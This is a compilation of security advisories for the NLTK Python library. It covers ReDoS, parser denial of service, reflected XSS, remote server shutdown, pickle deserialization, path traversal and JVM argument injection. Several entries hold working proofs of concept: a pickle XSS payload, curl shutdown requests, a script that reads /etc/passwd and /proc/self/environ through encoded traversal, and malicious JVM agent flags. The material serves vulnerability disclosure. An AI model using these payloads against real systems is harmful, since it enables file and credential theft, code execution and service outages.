The problem has been patched in NLTK 3.6.6. After the fix, running the above program gives the following result: python A length of 100 takes 0.0070s A length of 1000 takes 0.0010s A length of 10000 takes 0.0060s A length of 100000 takes 0.0400s A length of 1000000 takes 0.3520s A length of 10000000 takes 3.4641s This output shows a linear relationship in execution time versus input length, which is desirable for regular expressions. We recommend updating to NLTK 3.6.6+ if possible.
Workarounds
The execution time of the vulnerable functions is exponential to the length of a malicious input. With other words, the execution time can be bounded by limiting the maximum length of an input to any of the vulnerable functions. Our recommendation is to implement such a limit.
References
- The issue showcasing the vulnerability: https://github.com/nltk/nltk/issues/2866
- The pull request containing considerably more information on the vulnerability, and the fix: https://github.com/nltk/nltk/pull/2869
- The commit containing the fix: 1405aad979c6b8080dbbc8e0858f89b2e3690341
- Information on CWE-1333: Inefficient Regular Expression Complexity: https://cwe.mitre.org/data/definitions/1333.html
For more information
If you have any questions or comments about this advisory: * Open an issue in github.com/nltk/nltk * Email us at nltk.team@gmail.com
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
nltk.parse.RecursiveDescentParser (and SteppingRecursiveDescentParser) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.
Proof of concept
Both of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:
from nltk import CFG
from nltk.parse import RecursiveDescentParser
# (a) left recursion -> unbounded recursion
g = CFG.fromstring("S -> S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangs
# (b) ambiguous grammar -> exponential number of parses
g = CFG.fromstring("S -> 'a' S | 'a' S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangs
Impact
An application that runs RecursiveDescentParser on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.
Sibling
The RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.
Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
Summary
ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().
Details
The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.
PoC
import multiprocessing as mp
import re
import time
# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")
# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
# A generous bound (real feature labels are short noun phrases) makes the
# run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)
TIMEOUT = 20.0 # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line
def _bad_line(n_words):
"""A long line of plain words with NO trailing bracketed annotation."""
return ("word " * n_words).rstrip()
def _worker(pattern_str, line, q):
pat = re.compile(pattern_str)
t0 = time.perf_counter()
pat.findall(line)
q.put(time.perf_counter() - t0)
def timed_findall(pattern, line, timeout=TIMEOUT):
"""Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
q = mp.Queue()
p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
p.start()
p.join(timeout)
if p.is_alive():
p.terminate()
p.join()
return None
return q.get() if not q.empty() else None
def bench(label, pattern):
print(f"\n[{label}] pattern: {pattern.pattern}")
print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}")
prev = None
for n in SIZES:
line = _bad_line(n)
t = timed_findall(pattern, line)
if t is None:
print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}")
prev = None
else:
ratio = f"{t/prev:.1f}x" if prev else "--"
print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}")
prev = t
def parity_check():
"""The bound must NOT change extraction on a realistic annotated line."""
real = (
"the picture quality[+2] and battery life[+1] are great but "
"the lens cap[-1] feels cheap and the menu system[-2] is slow"
)
a = FEATURES_VULN.findall(real)
b = FEATURES_FIXED.findall(real)
print("\n[parity] realistic annotated line — extraction must be identical")
print(f" vulnerable regex -> {a}")
print(f" bounded regex -> {b}")
print(f" identical: {a == b}")
return a == b
def main():
print("=" * 66)
print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
print("=" * 66)
print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}")
bench("VULNERABLE reviews.py L70-71", FEATURES_VULN)
bench("BOUNDED fix #3583", FEATURES_FIXED)
same = parity_check()
print("\n" + "=" * 66)
print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS")
print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms")
print(f" Extraction parity on real annotations preserved: {same}")
print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
print("=" * 66)
if __name__ == "__main__":
main()
Impact
Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.
Duplicate Advisory: NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-5wp5-5229-5g6q. This link is maintained to preserve external references.
Original Description
NLTK before 3.9.3 fails to verify file integrity after downloading packages and before extraction in the downloader module. Attackers can perform man-in-the-middle attacks or DNS poisoning to inject malicious package contents that are extracted without validation.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk
- https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7
- https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f
- https://github.com/advisories/GHSA-gfwx-w7gr-fvh7
- https://nvd.nist.gov/vuln/detail/CVE-2026-33230
- https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e
Summary
nltk.app.wordnet_app contains a reflected cross-site scripting issue in the lookup_... route. A crafted lookup_<payload> URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled word data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.
Details
The vulnerable flow is in nltk/app/wordnet_app.py:
-
- Requests starting with
lookup_are handled as HTML responses: page, word = page_from_href(sp)
- Requests starting with
-
page_from_href()callspage_from_reference(Reference.decode(href))
-
word = href.word
-
- If no results are found,
wordis inserted directly into the HTML body: body = "The word or words '%s' were not found in the dictionary." % word
- If no results are found,
This is inconsistent with the search route, which does escape user input:
nltk/app/wordnet_app.py:136word = html.escape(...)
As a result, a malicious lookup_... payload can inject script into the response page.
The issue is exploitable because:
Reference.decode()accepts attacker-controlled base64-encoded pickle data for the URL state.- The decoded
wordis reflected into HTML withouthtml.escape(). - The server is started with
HTTPServer(("", port), MyServerHandler), so it listens on all interfaces by default, not justlocalhost.
PoC
- Start the WordNet Browser in an isolated Docker environment:
docker run -d --name nltk-wordnet-web -p 8002:8002 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
- Use the following crafted payload, which decodes to:
("<script>alert(1)</script>", {})
Encoded payload:
gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
- Request the vulnerable route:
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
- Observed result:
The word or words '<script>alert(1)</script>' were not found in the dictionary.
I also validated the issue directly at function level in Docker:
import base64
import pickle
from nltk.app.wordnet_app import page_from_href
payload = base64.urlsafe_b64encode(
pickle.dumps(("<script>alert(1)</script>", {}), -1)
).decode()
page, word = page_from_href(payload)
print(word)
print("<script>alert(1)</script>" in page)
Observed output:
WORD= <script>alert(1)</script>
HAS_SCRIPT= True
Impact
This is a reflected XSS issue in the NLTK WordNet Browser web UI.
An attacker who can convince a user to open a crafted lookup_... URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:
- run arbitrary script in the browser tab
- manipulate the page content shown to the user
- issue same-origin requests to other WordNet Browser routes
- potentially trigger available UI actions in that local app context
This primarily impacts users who run nltk.app.wordnet_app as a local or self-hosted HTTP service and open attacker-controlled links.
Duplicate Advisory: [CWE-502] Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rhp5-r9x4-f5g2. This link is maintained to preserve external references.
Original Description
NLTK before 3.10.0 (affected versions <=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickleload() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override findclass() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.
NLTK has Arbitrary File Read via Absolute Path Input in nltk.util.filestring()
- https://nvd.nist.gov/vuln/detail/CVE-2026-0846
- https://huntr.com/bounties/007b84f8-418e-4300-99d0-bf504c2f97eb
- https://github.com/nltk/nltk/pull/3485
- https://github.com/nltk/nltk/commit/b2e1164bf89277f79b65406c829b99fb20ca1974
- https://github.com/advisories/GHSA-h8wq-7xc4-p3qx
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-97.yaml
A vulnerability in the filestring() function of the nltk.util module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.
Duplicate Advisory: Model-artifact APIs bypass pathsec and touch files outside allowed roots
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-8mgp-746c-j5xp. This link is maintained to preserve external references.
Original Description
NLTK through 3.10.3 contains a path traversal vulnerability in model-artifact APIs that bypass pathsec enforcement by using raw file operations on caller-controlled paths. Attackers can read or write files outside allowed sandbox roots through TransitionParser, AveragedPerceptron, PerceptronTagger, and maxent parameter APIs when pathsec is enabled.
Duplicate Advisory: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-vp2x-qp44-57v7. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.3 contain a quadratic CPU exhaustion vulnerability in XMLCorpusView.readxml_fragment() that rescans accumulated XML fragments on every 1 KiB block read. Attackers can provide malformed XML corpus files to cause severe CPU consumption and denial of service through affected readers like BNCCorpusReader.
Unauthenticated remote shutdown in nltk.app.wordnet_app
Summary
nltk.app.wordnet_app allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os._exit(0), resulting in a denial of service.
Details
The vulnerable logic is in nltk/app/wordnet_app.py:
-
- The server listens on all interfaces:
server = HTTPServer(("", port), MyServerHandler)
-
- Incoming requests are checked for the exact path:
if unquote_plus(sp) == "SHUTDOWN THE SERVER":
-
- The shutdown protection only depends on
server_mode
- The shutdown protection only depends on
-
- In the default mode (
runBrowser=True, thereforeserver_mode=False), the handler terminates the process directly: os._exit(0)
- In the default mode (
This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.
PoC
- Start the WordNet Browser in Docker in its default mode:
docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)"
- Confirm the service is reachable:
curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
Observed result:
200
- Trigger shutdown:
curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'
Observed result:
000
- Verify the service is no longer available:
curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/'
docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}'
docker logs nltk-wordnet-web-default-retest
Observed results:
000
nltk-wordnet-web-default-retest Exited (0)
Server shutting down!
Impact
This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.
Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:
- the route is accessible over HTTP
- no authentication or CSRF-style confirmation is required
- the server listens on all interfaces by default
- the process exits immediately instead of performing a controlled shutdown
This primarily affects users who run nltk.app.wordnet_app and expose or otherwise allow access to its listening port.
Duplicate Advisory: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses (CWE-776)
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-97qj-x29f-37w7. This link is maintained to preserve external references.
Original Description
NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.
nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences
- https://github.com/nltk/nltk/security/advisories/GHSA-m42h-3232-vpv3
- https://nvd.nist.gov/vuln/detail/CVE-2026-12243
- https://github.com/nltk/nltk/issues/3504
- https://github.com/nltk/nltk/pull/3522
- https://github.com/nltk/nltk/commit/aec4fce1b84ad725b8975f7365b23a4f626572a9
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml
- https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1
- https://securityinfinity.com/research/path-traversal-in-nltks-nltk-data-load-via-percent-encoded-sequences
- https://github.com/advisories/GHSA-m42h-3232-vpv3
Summary
nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.
Vulnerable Code
nltk/data.py - find() function: url2pathname() decodes %2e%2e -> .. AFTER any safety check p = os.path.join(path, url2pathname(resourcename)) if os.path.exists(p): return FileSystemPathPointer(p)
Proof of Concept
import nltk.data nltk.data.path = [/home/user/nltk_data
] %2e%2e decodes to .. via url2pathname(), escaping the data dir data = nltk.data.load(%2e%2e/SECRET_credentials.txt
, format=raw
) print(data) b'AWSSECRETKEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n' All of these bypass path checks and decode identically:
Payload After url2pathname()
%2e%2e/secret ../secret .%2e/secret ../secret %2e./secret ../secret %2E%2E/secret ../secret Root Cause url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.
Fix
Decode before checking:
from urllib.parse import unquote resourcename = unquote(resourcename) # decode first, then validate
Impact
An attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().
NLTK: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)
- https://github.com/nltk/nltk/security/advisories/GHSA-m4rf-3fr8-xwx3
- https://nvd.nist.gov/vuln/detail/CVE-2026-79675
- https://github.com/nltk/nltk/commit/8fa9650b6009aacfdebbc33d2a08d32c0858ea6c
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://www.vulncheck.com/advisories/nltk-before-jvm-argument-injection-via-per-call-options
- https://github.com/advisories/GHSA-m4rf-3fr8-xwx3
Vulnerability
The fix for CVE-2026-12841 (CWE-88, JVM argument injection) added _validate_java_options() to block dangerous JVM flags such as -agentlib, -agentpath, -javaagent, -Xrunjdwp, and @argfile references. However, the validation is only applied when setting global options via config_java(). The java() function's per-call options parameter -- added by PR #3683 (CVE-2026-12615 fix) -- passes options directly to subprocess.Popen without calling _validate_java_options().
All four Stanford Java wrapper classes accept user-supplied java_options and route them through the unvalidated per-call path, bypassing the CVE-2026-12841 fix entirely.
Root Cause
In nltk/internals.py, the java() function (line 128) accepts an options keyword argument. When options is not None, it is converted to a list and prepended to the JVM command (lines 211-217) without any validation:
# nltk/internals.py, lines 211-217 (HEAD)
if options is None:
java_options = _java_options # validated by config_java()
else:
if isinstance(options, str):
options = options.split()
java_options = list(options) # NO validation
cmd = [_java_bin] + java_options + cmd
Compare with config_java() (line 92) which does validate:
# nltk/internals.py, lines 122-123
_validate_java_options(options)
_java_options[:] = options
The four affected wrapper classes store user-supplied java_options without validation and pass them through the unvalidated per-call path:
GenericStanfordParser(nltk/parse/stanford.py): constructor parameter at line 39, stored at line 78, passed at lines 247 and 256StanfordTagger(nltk/tag/stanford.py): constructor parameter at line 51, stored at line 79, passed at line 118StanfordTokenizer(nltk/tokenize/stanford.py): constructor parameter at line 43, stored at line 66, passed at line 109StanfordSegmenter(nltk/tokenize/stanford_segmenter.py): constructor parameter at line 68, stored at line 117, passed at line 337
Proof of Concept
from nltk.internals import config_java, java, _validate_java_options
# 1. The global config_java() path correctly blocks dangerous flags:
try:
config_java(options=["-agentpath:/tmp/evil.so"])
except ValueError as e:
print(f"config_java blocked: {e}") # blocked as expected
# 2. The per-call options path does NOT block them:
# (Would execute if Java were installed)
# java(["SomeClass"], classpath=".", options=["-agentpath:/tmp/evil.so"])
# This passes "-agentpath:/tmp/evil.so" directly to subprocess.Popen
# 3. Stanford wrapper classes pass through without validation:
# from nltk.parse.stanford import StanfordParser
# parser = StanfordParser(java_options="-agentpath:/tmp/evil.so")
# parser.parse(...) # dangerous flag reaches JVM
# Verify the gap directly:
dangerous_opts = ["-agentpath:/tmp/evil.so"]
try:
_validate_java_options(dangerous_opts)
print("Would have been caught")
except ValueError:
print("Correctly rejected by _validate_java_options()")
# But java() itself never calls _validate_java_options():
import inspect
source = inspect.getsource(java)
assert "_validate_java_options" not in source, "java() does not validate options"
print("Confirmed: java() does not call _validate_java_options()")
Impact
An attacker who controls the java_options parameter to any NLTK Stanford wrapper class can inject arbitrary JVM flags, including:
-agentpath:/path/to/malicious.so-- loads a native agent, achieving arbitrary code execution-javaagent:/path/to/malicious.jar-- loads a Java agent for bytecode manipulation-agentlib:jdwp=transport=dt_socket,server=y,address=*:5005-- enables remote debugging, allowing remote code execution@/path/to/argfile-- expands an argument file, which can smuggle any of the above
This is exploitable in scenarios where NLTK is deployed as a service and java_options is derived from user input, configuration files, or environment variables. The PR #3647 commit message explicitly states the fix was intended to cover StanfordSegmenter, and GenericStanfordParser
but the implementation only validates in config_java().
Suggested Fix
Add _validate_java_options() to the java() function's per-call options handling:
# nltk/internals.py, in the java() function
if options is None:
java_options = _java_options
else:
if isinstance(options, str):
options = options.split()
java_options = list(options)
_validate_java_options(java_options) # ADD THIS LINE
cmd = [_java_bin] + java_options + cmd
This single-line addition closes the bypass for all four Stanford wrapper classes and any future callers of java(options=...).
AI tooling
AI assistance was used for the code audit and for drafting this report. The finding were manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are the reporters.
NLTK Vulnerable To Path Traversal
- https://nvd.nist.gov/vuln/detail/CVE-2019-14751
- https://github.com/advisories/GHSA-mr7p-25v2-35wr
- https://github.com/mssalvatore/CVE-2019-14751_PoC
- https://github.com/nltk/nltk/blob/3.4.5/ChangeLog
- https://github.com/nltk/nltk/commit/f59d7ed8df2e0e957f7f247fe218032abdbe9a10
- https://salvatoresecurity.com/zip-slip-in-nltk-cve-2019-14751/
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QI4IJGLZQ5S7C5LNRNROHAO2P526XE3D/
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZGZSSEJH7RHH3RBUEVWWYT75QU67J7SE/
- http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00054.html
- http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00001.html
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2019-106.yaml
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QI4IJGLZQ5S7C5LNRNROHAO2P526XE3D
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZGZSSEJH7RHH3RBUEVWWYT75QU67J7SE
- https://salvatoresecurity.com/zip-slip-in-nltk-cve-2019-14751
NLTK Downloader before 3.4.5 is vulnerable to a directory traversal, allowing attackers to write arbitrary files via a ../ (dot dot slash) in an NLTK package (ZIP archive) that is mishandled during extraction.
NLTK: Default ENFORCE=False Disables All pathsec Security Controls
- https://github.com/nltk/nltk/security/advisories/GHSA-p3m8-78j2-g5p3
- https://nvd.nist.gov/vuln/detail/CVE-2026-62388
- https://github.com/nltk/nltk/pull/3593
- https://github.com/nltk/nltk/commit/155e40343cff0bf50d233e274a12e04d1428b1d9
- https://github.com/nltk/nltk/releases/tag/v3.10.0
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3722.yaml
- https://www.vulncheck.com/advisories/nltk-before-insecure-default-configuration-pathsec
- https://github.com/advisories/GHSA-p3m8-78j2-g5p3
NLTK's pathsec.py security module defaults to ENFORCE=False (line 24), which means all 8 security validation functions only emit RuntimeWarning instead of raising exceptions when violations are detected.
The pathsec module was introduced as the fix for CVE-2024-39705 (arbitrary code execution via pickle) and CVE-2026-0846 (path traversal). However, with ENFORCE=False as the default:
- pathsec.open('/etc/passwd') succeeds (reads the file, emits warning)
- pathsec.validatenetworkurl('http://169.254.169.254/...') succeeds (warning only)
- pickle.loads() via nltk.data.load() proceeds despite unsafe source (warning only)
Every security gate follows the same pattern: ```python ENFORCE = os.environ.get('NLTKPATHSECENFORCE', '').lower() in ('1', 'true', 'yes')
def validatesomething(path): if isviolation(path): if ENFORCE: raise SecurityError('...') # Only raised when env var is set else: warnings.warn('...', RuntimeWarning) # Default: warning only # Execution continues regardless ```
This means the security remediations for CVE-2024-39705 and CVE-2026-0846 are effectively disabled by default. Any user who installed NLTK 3.9.x expecting the security fixes to be active is still vulnerable unless they manually set NLTKPATHSECENFORCE=1.
PoC: ```python import nltk.pathsec import warnings
Show that ENFORCE is False by default
print(f'ENFORCE = {nltk.pathsec.ENFORCE}') # False
Attempt to read /etc/passwd through pathsec -- should be blocked
with warnings.catch_warnings(record=True) as w: warnings.simplefilter('always') result = nltk.pathsec.open('/etc/passwd', 'r') print(f'File opened: {result.name}') # /etc/passwd print(f'Warning emitted: {w[0].message}') # RuntimeWarning (not an exception) # Attack succeeds -- file is readable ```
The correct default is fail-secure: ENFORCE should be True unless explicitly disabled. The current default makes the security module opt-in rather than opt-out, defeating its purpose.
Suggested fix: Change default to ENFORCE=True. Users who need backwards compatibility can set NLTKPATHSECENFORCE=0 to explicitly disable.
Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read
- https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v
- https://github.com/advisories/GHSA-p4gq-832x-fm9v
- https://nvd.nist.gov/vuln/detail/CVE-2026-54293
- https://github.com/nltk/nltk/pull/3575
- https://access.redhat.com/security/cve/CVE-2026-54293
- https://bugzilla.redhat.com/show_bug.cgi?id=2491486
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2078.yaml
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54293.json
- https://access.redhat.com/errata/RHSA-2026:42644
Summary
nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.
Affected Component
nltk/data.py — find(), normalizeresourceurl(), and the UNSAFENOPROTOCOLRE regex check. Relevant occurrences:
data.py L650–L653 — final path constructed from url2pathname(resourcename) after checks data.py L54–L69 — _UNSAFENOPROTOCOLRE operates only on the undecoded string data.py L219–L245 — normalizeresourceurl() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input
Root Cause The regex UNSAFENOPROTOCOLRE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.
Proof of Concept
"""
NLTK Arbitrary File Read via URL-Encoded Path Traversal
=======================================================
Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py
by URL-encoding path separators and traversal components.
Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration)
CWE: CWE-22 (Path Traversal)
Root Cause:
nltk/data.py:find() checks resource names against a regex for
traversal patterns (../, leading /, etc.) BEFORE calling
url2pathname() which decodes %xx sequences. This is a classic
"decode-after-check" vulnerability.
"""
import sys
import os
import warnings
# Suppress NLTK security warnings for clean PoC output
warnings.filterwarnings("ignore", category=RuntimeWarning)
# Setup
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk"))
os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True)
import nltk
from nltk.pathsec import ENFORCE
BANNER = """
===================================================
NLTK URL-Encoded Path Traversal PoC
Affected: nltk <= 3.9.4
Default ENFORCE={enforce}
===================================================
""".format(enforce=ENFORCE)
def test_variant(name, payload, fmt="raw"):
"""Test a single traversal variant."""
try:
content = nltk.data.load(payload, format=fmt)
if isinstance(content, bytes):
preview = content[:200].decode("utf-8", errors="replace")
else:
preview = content[:200]
first_line = preview.split("\n")[0]
print(f" [VULN] {name}")
print(f" Payload: {payload}")
print(f" Read OK: {first_line}")
return True
except Exception as e:
print(f" [SAFE] {name}")
print(f" Payload: {payload}")
print(f" Blocked: {type(e).__name__}: {e}")
return False
def main():
print(BANNER)
vulns = 0
# --- Variant 1: URL-encoded absolute path ---
print("[1] URL-encoded absolute path (%2f = /)")
if test_variant(
"Encoded leading slash bypasses ^/ regex check",
"nltk:%2fetc%2fpasswd",
):
vulns += 1
print()
# --- Variant 2: Encoded dot-dot traversal ---
print("[2] URL-encoded dot-dot traversal (%2e = .)")
if test_variant(
"Encoded dots bypass \\.\\./ regex check",
"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
):
vulns += 1
print()
# --- Variant 3: Literal dots with encoded slash ---
print("[3] Literal dots with encoded slash (..%2f)")
if test_variant(
"Encoded slash after literal .. bypasses \\.\\./ regex",
"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
):
vulns += 1
print()
# --- Variant 4: Read process environment (credential leak) ---
print("[4] Read /proc/self/environ (credential leakage)")
try:
content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw")
env_vars = content.decode("utf-8", errors="replace").split("\x00")
print(f" [VULN] Leaked {len(env_vars)} environment variables")
for var in env_vars[:3]:
if var:
key = var.split("=")[0] if "=" in var else var
print(f" {key}=...")
vulns += 1
except Exception as e:
print(f" [SAFE] Blocked: {e}")
print()
# --- Control: verify normal traversal IS blocked ---
print("[CONTROL] Verify literal ../ is blocked by regex")
test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")
print()
print("=" * 51)
print(f" Result: {vulns} bypass variant(s) succeeded")
if vulns > 0:
print(" Status: VULNERABLE (url2pathname decodes after regex check)")
else:
print(" Status: Not vulnerable")
print("=" * 51)
if __name__ == "__main__":
main()
Impact
Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:
/etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys
This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.
fix
https://github.com/nltk/nltk/pull/3575
NLTK: Corpus readers follow symlinks outside trusted roots despite pathsec enforcement
- https://github.com/nltk/nltk/security/advisories/GHSA-p4rw-rvv2-7xwr
- https://nvd.nist.gov/vuln/detail/CVE-2026-79676
- https://github.com/nltk/nltk/commit/10d34b3f4fe3fec74b76527a409eb0acbac2e8ab
- https://github.com/nltk/nltk/releases/tag/v3.10.3
